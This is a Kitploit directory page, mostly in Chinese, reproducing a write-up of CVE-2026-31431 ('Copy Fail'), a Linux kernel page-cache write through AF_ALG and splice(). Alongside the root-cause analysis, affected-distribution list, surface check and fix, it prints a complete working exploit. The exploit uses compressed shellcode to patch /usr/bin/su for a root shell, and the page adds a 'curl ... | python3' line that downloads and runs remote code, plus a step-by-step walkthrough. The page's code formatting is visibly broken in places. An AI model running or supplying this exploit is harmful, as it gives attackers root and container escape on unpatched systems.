Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-31431 — 一份关于 CVE-2026-31431(Copy Fail)的结构化说明,将引入该漏洞并使其得以利用的三项内核变更串联起来。 | Kitploit
工具/GitHubGitHub/themalwareguardian/cve-2026-31431
权限提升漏洞分析漏洞利用论文与研究学习与教育容器逃逸二进制利用
GitHubthemalwareguardian/cve-2026-31431

CVE-2026-31431

一份关于 CVE-2026-31431(Copy Fail)的结构化说明,将引入该漏洞并使其得以利用的三项内核变更串联起来。

查看仓库
254个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🐞 CVE-2026-31431 - Copy Fail



authencesn 中的一个逻辑缺陷,通过 AF_ALG 和 splice() 串联,最终转化为对系统上任意可读文件页缓存的受控 4 字节写入。无需竞态条件、无需偏移、无需编译载荷。自 2017 年以来,同一份 732 字节脚本即可在每一个 Linux 发行版上获得 root 权限。




📑 目录

  • 概述
  • 根因分析
    📂
    • AF_ALG + splice() 原语
    • 2017 年的原地优化
    • authencesn 中的越界写入
    • 三个无害的变更 → 一个严重漏洞
    • 遍历 scatterlist 直至页缓存页

  • 影响
  • 受影响发行版
  • 验证 - 我是否受影响?

  • 漏洞利用
  • 漏洞利用演练
    📂
    • 步骤 1 - 套接字设置
    • 步骤 2 - 构造写入
    • 步骤 3 - 触发页缓存写入
    • 步骤 4 - 执行

  • 与 Dirty Cow / Dirty Pipe 的对比

  • 修复方案
  • 披露时间线
  • 参考资料



🔍 概述

CVE-2026-31431 - Copy Fail 是 Linux 内核 authencesn 加密模板中的一个逻辑缺陷。它允许非特权本地用户对系统上任意可读文件的页缓存执行一次受控的 4 字节写入,而无需修改磁盘上的文件。

该漏洞并不单独存在于三个组件中的任何一个,而是源于它们之间的交互:``` 2011 ────────────────────────────────────────────────────────────────────── - authencesn added to the kernel (a5079d084f8b). - Uses the caller's destination scatterlist as scratch space. - Reorder ESN bytes before HMAC computation. - Only caller: internal xfrm layer. Harmless.

2015 ────────────────────────────────────────────────────────────────────── - algif_aead.c gains AEAD support with splice() path (104880a6b470). - splice() can deliver page cache pages to the TX scatterlist. - AF_ALG uses out-of-place operation: req->src != req->dst. - Page cache pages remain read-only. Not exploitable.

2017 ────────────────────────────────────────────────────────────────────── - In-place optimization in algif_aead.c (72548b093ee3). - Copies AAD+CT to RX buffer but chains authentication tag pages via sg_chain(). - Sets req->src = req->dst. - Page cache pages now reside in WRITABLE dst. - authencesn writes past boundary → page cache corruption.

2026 ────────────────────────────────────────────────────────────────────── - Copy Fail - CVE-2026-31431. Discovered by Theori / Xint Code. - Exploitable across all distros since 2017.

root@kitploit:~
---
---
---



<div id='root-cause'/>

## ***🧬 根本原因分析***

<div id='primitive'/>

### ***AF_ALG + splice() 原语***

AF_ALG (*[AF_ALG = 38](https://docs.kernel.org/crypto/userspace-if.html#user-space-api-general-remarks)*) 是一种套接字类型,它将内核加密 API 暴露给非特权用户空间。非特权进程可以:

1. 打开一个 AF_ALG / SOCK_SEQPACKET 套接字。
2. bind() 到内核 crypto API 暴露的任何可用 AEAD 模板。
3. 通过 setsockopt(SOL_ALG, ALG_SET_KEY, ...) 在配置的算法上设置加密密钥。
4. 调用 accept() 获取一个专用的操作套接字,该套接字将处理加密和解密请求。
5. 使用 sendmsg() 发送构造的数据,并通过 recvmsg() 接收处理后的结果,从而与内核 crypto 子系统完全交互。

它在所有主要发行版的内核配置中默认启用(CONFIG_CRYPTO_USER_API_AEAD=y)。

**[splice(2)](https://man7.org/linux/man-pages/man2/splice.2.html)** 在文件描述符之间传输数据,无需复制——它传递页面的引用,而不是副本。相关流程:```
open("/usr/bin/su")   ->  fd_file
pipe()                ->  pipe_rd, pipe_wr

# moves N bytes from the file into the pipe
# the pipe buffer now contains a reference to the same physical page in the page cache
splice(fd_file, pipe_wr, N)

# delivers that reference to the AF_ALG socket
# the TX scatterlist of algif_aead now points to the page cache page of /usr/bin/su
splice(pipe_rd, alg_fd, N)
下载工具

The TX scatterlist of the AF_ALG socket contains direct references to the same physical pages used by the kernel for every read(), mmap(), and execve() of the file. No copy is involved.


2017 年的就地优化

Commit 72548b093ee3, algif_aead.c. 对于解密,该实现如下:

  1. 将 AAD 和密文从 TX SGL(源)复制到 RX 缓冲区(目标)——这是一次真正的复制。
  2. 通过 sg_chain() 将认证标签页链接起来,在 RX SGL 中保留页缓存引用。
  3. 设置 req->src = req->dst,两者都指向合并后的 RX SGL。``` TX SGL (input from splice): [ page cache page: AAD || CT || Tag ]

In-place operation: RX SGL (req->dst): [ user buffer: AAD (copy) || CT (copy) ] --sg_chain--> [ Tag (page cache pages) ] req->src = req->dst = RX SGL

Result: page cache pages from /usr/bin/su are now part of the WRITABLE scatterlist passed to the crypto algorithm.

root@kitploit:~
<div id='authencesn'/>

### ***authencesn 中的越界写入(out-of-bounds write)***

authencesn 是 IPsec 在扩展序列号(RFC 4303)场景下使用的内核 AEAD 包装器。IPsec 使用 64 位序列号:

- seqno_hi - 高 32 位(AAD 的第 0-3 字节)
- seqno_lo - 低 32 位(AAD 的第 4-7 字节)

只有 seqno_lo 会在线路上传输;seqno_hi 是隐式上下文。为了计算 HMAC,authencesn 需要重新排列这些字节:将 seqno_hi 放在哈希输入的起始位置,而 seqno_lo 放在末尾。

它通过将调用方的目标 scatterlist 用作临时空间来执行这种重排:```c
/* crypto/authencesn.c - crypto_authenc_esn_decrypt() */

// [1] Read bytes 0-7 of the AAD from dst
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);

// [2] Overwrite dst[4..7] with seqno_hi (temporary modification for HMAC)
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);

// [3] *** THE BUG ***
// Writes seqno_lo at dst[assoclen + cryptlen]
// This offset is AFTER the authentication tag - outside the legitimate AEAD output region.
// authencesn uses this position as scratch space and NEVER restores the original bytes.
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);

调用 [3] 在 dst[assoclen + cryptlen] 处写入 4 字节。AEAD API 的解密输出约定是 AAD || 明文 —— 正好是 assoclen + (cryptlen - authsize) 字节。assoclen + cryptlen 位于认证标签之外。authencesn 写入了不属于它的内存。

crypto_authenc_esn_decrypt_tail() 会读回 seqno_lo 以重建正确的 AAD,但从未恢复 dst[assoclen + cryptlen] 处的原始字节。无论 HMAC 校验成功还是失败,这次覆盖都是永久性的。

内核中没有任何其他标准 AEAD 算法以这种方式运行。GCM、CCM 和标准 authenc 都严格将其写入限制在合法的输出区域内。


三个无害的改动 → 一个关键漏洞

在 algif_aead 的 2017 年之后引入的就地路径中,作为 req->dst 传递给 authencesn 的 scatterlist 具有以下结构:``` req->dst: [ RX buffer (user memory) ] [ Tag region (page cache pages) ] [ AAD (copy) || CT (copy) ] [ from /usr/bin/su ] [<---- assoclen + cryptlen bytes --->] [<--- sg_chain from TX SGL ---->] ^ authencesn writes here: dst[assoclen + cryptlen] = seqno_lo (4 bytes controlled by the attacker)

root@kitploit:~
scatterwalk_map_and_copy 并不关心页面所有权,它只是通过 kmap_local_page 映射 scatterlist 指向的任何页面并向其中写入。当 req->dst 中存在页面缓存页时,它最终会映射 "/usr/bin/su" 的缓存页面,并将 seqno_lo 直接写入该文件的内核内存副本中。

HMAC 是在重排后的字节上计算的,因而校验失败(密文由攻击者控制)。recvmsg() 返回错误。对页面缓存的 4 字节写入仍然存在。

---

<div id='scatterlist'/>

### ***遍历 scatterlist 至页面缓存页***```c
struct scatterlist {
	unsigned long   page_link;   // physical page + flags (SG_END, SG_CHAIN)
	unsigned int    offset;      // offset within the page
	unsigned int    length;      // bytes in this entry
};

// sg_chain(sgl_a, nents_a, sgl_b):
//   sgl_a[nents_a-1].page_link |= SG_CHAIN;
//   sgl_a[nents_a-1].page_link  = (unsigned long)sgl_b;
//   the last entry of sgl_a now points to the beginning of sgl_b
RX SGL (req->dst) after in-place construction:

entry[0]: page=user_buf_page, offset=0,        length=assoclen      (AAD copied)
entry[1]: page=user_buf_page, offset=assoclen, length=cryptlen-4    (CT copied)
entry[2]: SG_CHAIN -> TX SGL entry[2]
                        |
                        v
                    page = page_cache_page_of_/usr/bin/su
                    offset = <tag offset within the file>
                    length = authsize (= 4)

scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1):
offset_within_sgl = assoclen + cryptlen
-> walks past entry[0] (assoclen bytes)
-> walks past entry[1] (cryptlen-authsize bytes)
-> reaches entry[2]: offset_within_entry = 0
-> kmap_local_page(page_cache_page_of_su)
-> memcpy(mapped_page + page_offset, tmp+1, 4)  <- WRITE INTO PAGE CACHE
-> kunmap_local(mapped_page)

The page is never marked dirty (SetPageDirty / mark_page_accessed are not invoked in this path). The kernel writeback mechanism does not flush it to disk. The file on disk remains unchanged.




💥 影响

可控的 4 字节写入原语进入页缓存,进而演变为完整的本地权限提升(LPE):

  • 攻击者控制哪个文件(任何可读文件,包括 setuid 二进制文件)。
  • 攻击者控制文件内的哪个偏移量(通过 assoclen、splice 偏移量和 splice 长度)。
  • 攻击者控制什么值(这 4 个字节为 seqno_lo,由攻击者在 sendmsg() 中构造)。

通过每次迭代写入 4 个字节,攻击者可以将 shellcode 修补到页缓存中 setuid 二进制文件的 .text 段。execve() 从页缓存加载,因此被篡改的二进制文件以 UID 0 执行。

页缓存在整个主机(包括所有容器)之间共享。Copy Fail 不仅是本地 LPE,更是一个容器逃逸原语,也是 Kubernetes 节点入侵向量。

环境风险结果
多租户 Linux 主机严重任意用户 → root
Kubernetes / 容器严重Pod → 主机,跨租户
CI 运行器(不受信任的 PR)严重PR → 运行器上的 root
执行用户代码的 Cloud SaaS严重租户 → 主机 root
单租户服务器高内部 LPE;与 Web RCE 链式利用
单用户工作站中后渗透权限提升

🎯 受影响发行版

任何运行构建于 2017 年至补丁期间的 Linux 系统,且默认配置中启用了 AF_ALG,这实际上涵盖了所有主流发行版。

Theori / Xint 直接验证:

发行版内核
Ubuntu 24.04 LTS
6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

运行受影响内核的其他发行版(Debian、Arch、Fedora、Rocky、Alma、Oracle、嵌入式目标)行为相同,该 bug 位于共享的加密子系统中,而非任何发行版特定的补丁。

利用要求:

  • 非特权本地用户帐户。
  • AF_ALG 可用(默认在所有主流发行版中启用)。
  • splice(2) 可用(普遍可用)。
  • Python 3.10+ 以使用 os.splice,或能从任意语言访问原始系统调用。
  • 无需内核调试功能、无需特殊能力、无需预先存在的原语。

🔎 验证 - 我是否受影响?

1. 检查内核版本```bash

uname -r

root@kitploit:~
如果内核是在2017年至补丁(commit a664bf3d603d)之间构建的,则系统可能受影响。验证补丁是否存在:```bash
# Ubuntu / Debian
dpkg -l | grep linux-image

# RHEL / Fedora / Amazon Linux
rpm -q kernel

# SUSE
zypper se -s kernel-default

2. 检查 AF_ALG 是否可用```bash

python3 -c " import socket try: s = socket.socket(38, 5, 0) s.close() print('[+] AF_ALG available - system potentially affected') except Exception as e: print(f'[-] AF_ALG not available: {e}') "

root@kitploit:~
### ***3. 检查 algif_aead 是否已加载***```bash
sudo modinfo algif_aead 2>/dev/null && echo "[+] algif_aead available" || echo "[-] algif_aead not found"

4. 攻击面验证脚本

以下脚本检查易受攻击的路径是否可达。它不执行任何写入操作,仅验证攻击面的可用性:```python #!/usr/bin/env python3 """ Copy Fail (CVE-2026-31431) - Attack surface verification. Does not perform any writes. Only checks whether the vulnerable path is available. """ import socket import sys

def check_surface(): results = {}

root@kitploit:~
# 1. Check if AF_ALG socket is available
try:
	# AF_ALG, SOCK_SEQPACKET
	s = socket.socket(38, 5, 0)
	results['af_alg_socket'] = True
	# 2. Try binding to authencesn (the vulnerable algorithm)
	try:
		s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
		results['authencesn_available'] = True
	except OSError as e:
		results['authencesn_available'] = False
		results['authencesn_error'] = str(e)
	s.close()
except OSError as e:
	results['af_alg_socket'] = False
	results['af_alg_error'] = str(e)

# 3. Check if splice() is available
import os
results['splice_available'] = hasattr(os, 'splice')

print("\n=== Copy Fail CVE-2026-31431 - Surface Check ===\n")
for k, v in results.items():
	marker = '[+]' if v is True else '[-]' if v is False else '[i]'
	print(f"  {marker} {k}: {v}")

if results.get('af_alg_socket') and results.get('authencesn_available') and results.get('splice_available'):
	print("\n  [!] SURFACE AVAILABLE - system exposes the full attack surface.")
	print("      Verify whether the kernel includes patch a664bf3d603d.")
else:
	print("\n  [OK] Surface mitigated or not available.")

if name == "main": check_surface()

root@kitploit:~
---

<div id='exploit'/>

## ***💣 漏洞利用***

该漏洞利用最初由 Theori / Xint Code 在 2026 年 4 月 29 日公开披露的同时发布。

- **SHA256:** a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`
- **官方仓库:** [github.com/theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **要求:** Python 3.10+、受影响的内核、启用 AF_ALG。```python
#!/usr/bin/env python3
# Copy Fail - CVE-2026-31431
# Original: Theori / Xint Code - https://copy.fail/
# sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# Requirements: Python 3.10+ (os.splice), affected kernel (2017-2026), AF_ALG enabled.
# Default target: /usr/bin/su (any readable setuid binary works).
# The page cache write is NOT persistent - it is reverted on the next reboot.

import os as g, zlib, socket as s

def d(x):
	return bytes.fromhex(x)

def c(f, t, c):
	# Open AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
	a = s.socket(38, 5, 0)                             # AF_ALG, SOCK_SEQPACKET
	a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
	h = 279                                            # SOL_ALG
	v = a.setsockopt
	v(h, 1, d('0800010000000010' + '0' * 64))          # ALG_SET_KEY
	v(h, 5, None, 4)                                   # ALG_SET_AUTHSIZE = 4
	u, _ = a.accept()
	o = t + 4
	i = d('00')

	# sendmsg: AAD = seqno_hi (4 bytes) || seqno_lo (4 bytes = payload to write)
	# authencesn writes seqno_lo into dst[assoclen+cryptlen] -> page cache
	u.sendmsg(
		[b"A" * 4 + c],                      # AAD: seqno_hi=0x41414141, seqno_lo=payload
		[
			(h, 3, i * 4),                   # ALG_SET_IV
			(h, 2, b'\x10' + i * 19),        # ALG_SET_OP=DECRYPT + params
			(h, 4, b'\x08' + i * 3),         # ALG_SET_AEAD_AUTHSIZE
		],
		32768                                # MSG_SENDPAGE_NOTLAST
	)

	# splice: delivers page cache pages from the target file into the AF_ALG socket
	# The TX SGL of the socket will point directly to page cache pages
	r, w = g.pipe()
	n = g.splice
	n(f, w, o, offset_src=0)   # file -> pipe (reference to page cache page)
	n(r, u.fileno(), o)        # pipe -> AF_ALG socket (TX SGL points to page cache)

	# recv: triggers decrypt in the kernel
	# authencesn performs the scratch write -> 4 bytes written into the page cache
	# recvmsg() returns error (HMAC fails - attacker-controlled ciphertext), write persists
	try:
		u.recv(8 + t)
	except:
		0

# Open target binary (readable by any user)
f = g.open("/usr/bin/su", 0)

# zlib-compressed shellcode - patches /usr/bin/su in the page cache
i = 0
e = zlib.decompress(d(
	"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
	"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
	"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))

# Iterate in 4-byte chunks: each iteration performs a controlled write into the page cache
while i < len(e):
	c(f, i, e[i:i+4])
	i += 4

# Execute the patched binary in memory - runs as UID 0
g.system("su")

执行```bash

Direct download and execution (Theori method)

curl https://copy.fail/exp | python3

Local execution

python3 copy_fail_exp.py

With an alternative target binary (any readable setuid-root binary)

python3 copy_fail_exp.py /usr/bin/passwd

Verify result

id

uid=0(root) gid=1002(user) groups=1002(user)

root@kitploit:~
---
---
---



<div id='walkthrough'/>

## ***🔬 漏洞利用演练***

<div id='step1'/>

### ***步骤 1 - 套接字设置***```python
# AF_ALG=38, SOCK_SEQPACKET=5
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

选择 authencesn 模板——这是内核中唯一会在其合法输出区域之外进行写入的 AEAD 算法。这一选择是刻意的:GCM、CCM 和标准 authenc 都不会触发该 bug。```python a.setsockopt(SOL_ALG, ALG_SET_KEY, key) # arbitrary 32-byte key a.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, 4) # authsize = 4 bytes u, _ = a.accept() # operation socket

root@kitploit:~
ALG_SET_AUTHSIZE = 4 设置认证标签大小。该值直接控制 `dst[assoclen + cryptlen]` 在散列表(scatterlist)中相对于标签区域的位置,因此也决定了页缓存页面中哪个偏移会被覆盖。

<div id='step2'/>

### ***第 2 步 - 构造写入***

对于负载的每个 4 字节块:```python
# AAD = 8 bytes: seqno_hi (bytes 0-3) || seqno_lo (bytes 4-7)
# seqno_lo = the 4 bytes we want to write into the page cache
aad = b"\x41\x41\x41\x41" + payload_chunk_4bytes

u.sendmsg([aad], [cmsg_headers], MSG_SENDPAGE_NOTLAST)

AAD 的第 4-7 字节(seqno_lo)正是 authencesn 写入 dst[assoclen + cryptlen] 的那 4 个字节。攻击者用所需的载荷值来构造它们。

文件偏移量通过 splice 参数控制:```python

t = target offset within the file

o = t + 4 = splice length (ensures the tag region lands at the correct offset)

o = t + 4 r, w = os.pipe() os.splice(target_fd, pipe_wr, o, offset_src=0) # offset_src=0, length=o os.splice(pipe_rd, alg_fd, o)

root@kitploit:~
<div id='step3'/>

### ***步骤 3 - 触发页面缓存写入***```python
try:
	u.recv(8 + t)
except:
	pass   # recvmsg() returns EBADMSG/EINVAL - HMAC fails. Expected.

recv() 调用会在内核内部触发解密操作。recvmsg() 错误是意料之中的,无关紧要。页缓存写入已经发生。

第 4 步 - 执行

遍历所有 payload 块之后:``` os.system("su")

root@kitploit:~
execve("/usr/bin/su"):

1. 内核从页缓存加载该二进制文件。
2. 被缓存的页包含注入的 shellcode(磁盘上的文件未更改)。
3. /usr/bin/su 是 setuid-root:该进程以有效 UID 0 启动。
4. Shellcode 会产生一个 root shell。```
$ python3 copy_fail_exp.py
# id
uid=0(root) gid=1002(xint) groups=1002(xint)



⚖️ Comparison with Dirty Cow / Dirty Pipe

这三个漏洞都属于同一攻击类别:从非特权用户空间写入页缓存,而不修改磁盘上的文件,从而通过 setuid 二进制文件获取权限。它们的机制和约束条件差异显著。

  • CVE-2016-5195 - Dirty Cow

    VM 子系统中的写时复制(COW)路径存在竞态条件。需要赢得 TOCTOU 时间窗口,多次尝试,可靠性不稳定,偶尔会崩溃。影响内核版本 2.6.22 至 4.8.3。

  • CVE-2022-0847 - Dirty Pipe

    滥用管道缓冲区中的 PIPE_BUF_FLAG_CAN_MERGE 标志,将攻击者控制的数据合并进页缓存。该攻击是确定性的,但依赖特定版本(内核 ≥ 5.8 且包含特定补丁)。

  • CVE-2026-31431 - Copy Fail

    非竞态逻辑缺陷。无需竞态条件、无需各发行版偏移量、无需编译载荷。一个仅使用标准库的 732 字节 Python 脚本即可在 2017 年至 2026 年的所有主流发行版上获得 root 权限。

Dirty CowDirty PipeCopy Fail
攻击机制竞态条件(COW)管道标志滥用AEAD 逻辑 + scatterlist
需要竞态是否否
可靠性30-80%高100%,单次
内核版本范围2.6.22-4.8.3≥5.8(特定)2017-2026(约9年)
发行版偏移量是部分否
编译载荷是否否
容器逃逸否否是


🩹 修复

主线提交 a664bf3d603d 修复了 72548b093ee3(2017 年的原地优化)

该补丁将 algif_aead.c 恢复为非原地操作。req->src 和 req->dst 重新成为独立的 scatterlist。通过 splice() 传入的页缓存页面仍保留在只读的 TX SGL(req->src)中。RX 缓冲区——加密算法唯一允许写入的内存——是用户的 recvmsg 缓冲区(req->dst)。之前将标记页(页缓存)链入可写目标的 sg_chain() 机制已被移除。```c /* BEFORE (vulnerable) - req->src = req->dst, page cache pages in dst / aead_request_set_crypt(&areq->cra_u.aead_req, areq->first_rsgl.sgl.sgt.sgl, / RX SGL as src / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (same!) */ used, ctx->iv);

/* AFTER (fix) - separate scatterlists / aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, / TX SGL as src (may contain page cache pages) / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (user buffer only) */ used, ctx->iv);

root@kitploit:~
The commit message states: "There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings."



---
---
---



<div id='timeline'/>

## ***📅 披露时间线***

| Date       | Event                                                    |
|------------|----------------------------------------------------------|
| 2026-03-23 | 向 Linux 内核安全团队报告了漏洞 |
| 2026-03-24 | 收到初步确认                          |
| 2026-03-25 | 补丁已提出并审查                            |
| 2026-04-01 | 补丁已提交到主线(a664bf3d603d)               |
| 2026-04-22 | 分配了 CVE-2026-31431                                  |
| 2026-04-29 | 公开披露,[copy.fail](https://copy.fail/)       |

**发现者:** Taeyang Lee,来自 [Theori](https://theori.io/) / [Xint Code](https://xint.io/)



---
---
---



<div id='references'/>

## ***📚 参考资料***

- **[NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)**
	> 国家漏洞数据库中的条目。

- **[Copy Fail - Official disclosure](https://copy.fail/)**
	> 包含常见问题、受影响发行版、缓解措施和 PoC 的落地页。

- **[Theori / Xint Blog - Full write-up](https://xint.io/blog/copy-fail-linux-distributions)**
	> 根本原因、scatterlist 图、历史链条(2011→2015→2017)以及漏洞利用演练。

- **[Theori GitHub - copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)**
	> 包含 PoC 的官方仓库。

- **[Commit a664bf3d603d - fix](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d)**
	> 还原了 algif_aead 的原位优化。

- **[Commit 72548b093ee3 - root cause (2017)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)**
	> 引入了将页缓存页放入可写目标的原位优化。

- **[Commit a5079d084f8b - authencesn introduced (2011)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a5079d084f8b)**
	> 最初添加 authencesn 的提交,确立了暂存写入模式。

- **[Commit 104880a6b470 - authencesn migrated to AEAD API (2015)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470)**
	> 引入了 assoclen + cryptlen 偏移量,导致在合法区域之外写入。

- **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)** · **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
	> 页缓存损坏 / 本地提权(LPE)类别中的现有技术。